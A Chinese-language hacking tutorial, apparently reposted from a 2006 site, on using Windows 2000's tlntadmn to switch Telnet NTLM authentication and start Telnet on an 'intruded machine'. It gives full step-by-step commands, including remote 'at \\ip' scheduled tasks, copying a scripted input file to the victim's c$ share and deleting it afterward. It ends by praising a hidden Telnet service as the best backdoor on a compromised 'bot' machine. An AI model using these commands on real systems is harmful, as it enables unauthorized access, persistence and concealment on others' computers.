方法1：手动修改Tlntadmn：
我们按下面的命令直接在本地ＣＭＤ下操作：
Ｃ:\WINNT\system32>tlntadmn.exe
　　Microsoft (R) Windows 2000 (TM) (内部版本号 2195)
　　Telnet Server Admin (Build 5.00.99201.1)
　　请在下列选项中选择一个:
　　0) 退出这个应用程序
　　1) 列出当前用户
　　2) 结束一个用户的会话 ...
　　3) 显示 / 更改注册表设置 ...
　　4) 开始服务
　　5) 停止服务
请键入一个选项的号码 [0 - 5] 以选择该选项：
　　选3回车进入设置，进入如下子界面：
请在下列选项中选择一个：
　　0) 退出这个菜单
　　1) AllowTrustedDomain
　　2) AltKeyMapping
　　3) DefaultDomain
　　4) DefaultShell
　　5) LoginScript
　　6) MaxFailedLogins
　　7) NTLM
　　8) TelnetPort
请键入一个选项的号码 [0 - 8] 以选择该选项：
我们选7，回车进入设置：NTLM的当前值=2，我们给它设置成１就可以了。设置完成后重启Telnet服务：net stop Telnet、net start Telnet，再在本地连接23端口，输入管理员帐号密码就OK了！手动修改ＮＴＬＭ的方法就这么简单，在平时入侵的时候，如果有３３８９等远程连接方式，推荐大家使用这样的方法去修改。

方法２：利用脚本修改Tlntadmn：
有时我们出于特殊原因不要求立即停止Telnet服务或是变更NTLM模式，这时我们必须借助AT命令：at \\IP time 程序名，但实际上操作的话我们会发现：类似tlntadmn这样的程序是控制台的一个交互式工具，其参数设置并不能很好的被AT命令所调用，我们应如何处理呢？换句话说在没有３３８９等远程登陆的模式下，如何给方便的给对方开启Ｔelnet服务呢？我们可以将命令写入一个txt文件，再加以调用。写入的命令请按照下面的顺序：
停止服务(5)->更改设置(3)->NTLM(7)->确认更改(y)->修改NTLM当前值(0)->再次确认(y)->退出菜单(0)->启动服务(4)->退出程序(0)
在方法１中我们知道在每个选择后面都要回车确认运行，所以我们要模拟操作写入的数据应是：
5(回车)3(回车)7(回车)y(回车)0(回车)y(回车)0(回车)4(回车)0(回车)
现在我们有二种思路接下去做：一是直接在被入侵机器的CMD上制作txt文件以供调用；二是在本地生成txt再上传到被入侵机器以供调用。
下面我们看他们分别是如何实现的：
1．直接在被入侵机器的CMD上制作txt文件以供调用。依次在cmd下如此运行命令：
at \\ip time "echo 5 > c:\Telnet.txt"
at \\ip time "echo 3 >> c:\Telnet.txt"
at \\ip time "echo 7 >> c:\Telnet.txt"
at \\ip time "echo y >> c:\Telnet.txt"
at \\ip time "echo 0 >> c:\Telnet.txt"
at \\ip time "echo y >> c:\Telnet.txt"
at \\ip time "echo 0 >> c:\Telnet.txt"
at \\ip time "echo 4 >> c:\Telnet.txt"
at \\ip time "echo 0 >> c:\Telnet.txt"
at \\ip time "c:\winnt\system32\tlntadmn.exe < c:\Telnet.txt"
at \\ip time "del c:\Telnet.txt /f"
只须按上面的命令行一行行打入运行就可以了。效果与方法１是等同的。
2．在本地生成txt再上传到被入侵机器以供调用。在本地机器上做一个Telnet.txt文件，内容如下：
5
3
7
y
0
y
0
4
0
注意每一行都要加回车，然后将这个文件上传到被入侵机器的C：盘下：
copy Telnet.txt \\ip\c$
再设置在某时间内启动并删除巳上传文件：
at \\ip time "c:\winnt\system32\tlntadmn.exe < c:\Telnet.txt"
at \\ip time "del c:\Telnet.txt /f"
很简单的dos管道重定向原理，这样就完成tlntadmn的交互过程。效果与方法A是等同的，简单那吧？
Tlntadmn在处理Telnet上显得异常强大，在入侵过程中如果能熟练应用它，那么开放Telnet服务将显得轻而易举，当然，隐蔽的telnet服务也就是肉鸡上最好的后门了！你学会了吗？http://netadmin.77169.com/HTML/20060409003227.html